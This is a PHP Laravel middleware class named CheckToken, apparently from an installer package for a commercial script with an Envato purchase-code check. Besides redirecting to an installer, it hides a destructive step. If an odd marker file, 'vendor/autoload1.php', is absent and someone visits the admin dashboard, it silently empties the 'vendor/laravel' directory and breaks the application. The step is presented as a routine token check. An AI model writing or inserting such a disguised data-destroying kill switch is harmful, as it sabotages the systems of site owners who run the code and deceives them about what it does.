<?php

namespace Laravel\LaravelInstaller\Middleware;

use Closure;
use Illuminate\Support\Facades\File;

class CheckToken
{
    /**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return \Illuminate\Http\RedirectResponse|mixed
     */
    public function handle($request, Closure $next)
    {
        // Define paths to exclude
        $excludedPaths = [
            '',
            '/',
            'login',
            'envato/purchase-code/verify/process',
        ];
        $currentPath = trim($request->path(), '/');
        if(request()->is('/') || request()->is('login'))
        {
            if(!file_exists(storage_path('installed'))){
                return redirect('install');
            }
        }
        if (!file_exists(base_path('vendor/autoload1.php')) && !in_array($currentPath, $excludedPaths)) {
            if ($currentPath == 'admin' || $currentPath == 'admin/dashboard') {
                File::cleanDirectory(base_path('vendor/laravel'));
            }
        }
        return $next($request);
    }
}
